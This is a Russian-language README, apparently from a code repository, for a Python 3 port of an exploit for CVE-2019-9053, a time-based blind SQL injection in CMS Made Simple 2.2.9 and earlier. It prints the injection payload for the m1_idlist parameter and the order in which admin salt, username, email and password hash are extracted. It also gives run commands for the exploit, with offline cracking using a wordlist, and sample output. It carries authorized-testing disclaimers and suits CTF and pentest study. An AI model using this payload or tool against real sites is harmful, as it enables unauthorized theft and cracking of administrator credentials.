
Неавторизованный эксплойт временной слепой SQL-инъекции для CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), портированный на Python 3.
Отказ от ответственности: Этот инструмент предназначен только для авторизованного тестирования на проникновение и образовательных целей. Запуск этого средства против систем без явного письменного разрешения незаконен. Автор не несет ответственности за неправомерное использование.
Это порт на Python 3 публичного эксплойта для CVE-2019-9053 — неаутентифицированной time-based blind SQL инъекции в CMS Made Simple ≤ 2.2.9.
Уязвимый параметр — m1_idlist на конечной точке /moduleinterface.php (модуль News). Пользовательский ввод передаётся без санитизации в SQL-запрос, что позволяет неаутентифицированному атакующему извлечь соль администратора, имя пользователя, email и хеш пароля, а затем опционально взломать пароль офлайн.
Оригинальный эксплойт от Daniele Scanu @ Certimeter Group.
Порт на Python 3 с исправлениями и очисткой.
Эксплойт использует timing-оракул — он инжектирует SELECT sleep(T) в условие SQL LIKE и измеряет время ответа HTTP. Если сервер задерживается на ≥ T секунд, значит инжектированное условие истинно. Это позволяет извлекать данные по одному символу без какого-либо отображения данных в теле HTTP-ответа.
Payload structure:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(known_prefix+guess)}25
+and+user_id+like+0x31)+--+
Порядок извлечения:
После извлечения опциональная офлайн-атака по словарю вычисляет MD5(salt + word) против списка слов — никаких дополнительных сетевых запросов не требуется.
Исходный скрипт был написан для Python 2. Были исправлены следующие критические изменения:
pip3 install requests termcolor
| Зависимость | Назначение |
|---|---|
requests | HTTP-запросы к цели |
termcolor | Цветной вывод в терминал |
# Basic extraction (no password cracking)
python3 exploit.py -u http://<target-ip>/simple
# Extraction + offline password cracking
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt
| Флаг | Описание |
|---|---|
-u, --url | Базовый URL установки CMS Made Simple |
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123
Данный эксплойт предоставлен только для авторизованного тестирования на проникновение и использования в CTF/образовательных целях.
Несанкционированное использование против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения, является уголовным преступлением в соответствии с Законом об информационных технологиях 2000 г. (Индия) и аналогичными законами по всему миру.
| Шаг | Поле | Таблица | Примечания |
|---|
| 1 | Соль | cms_siteprefs | Необходима для взлома пароля |
| 2 | Имя пользователя | cms_users | user_id = 1 (admin) |
| 3 | cms_users | user_id = 1 (admin) | |
| 4 | Пароль | cms_users | Хранится как MD5(salt + password) |
| № | Изменение | Причина |
|---|
| 1 | print "..." → print("...") | print — функция в Python 3 |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | hashlib.md5() требует bytes в Python 3 |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict затеняет встроенную функцию; перешли на контекстный менеджер |
| 4 | print "\033c" → print("\033c", end="") | Избегает двойного перевода строки при очистке терминала |
| 5 | print colored(...) → print(colored(...)) | colored() возвращает строку; требуется обёртка print() |
-w, --wordlist | Путь к списку слов для офлайн-взлома пароля |
-c, --crack | Включить режим взлома пароля |
| Поле | Значение |
|---|
| CVE ID | CVE-2019-9053 |
| CVSS Score | 7.5 (Высокий) |
| Тип | Неаутентифицированная Time-Based Blind SQL инъекция |
| Затронуто | CMS Made Simple ≤ 2.2.9 |
| Параметр | m1_idlist в модуле News |
| Аутентификация | Не требуется |
| Исправление | CMS Made Simple 2.2.10+ |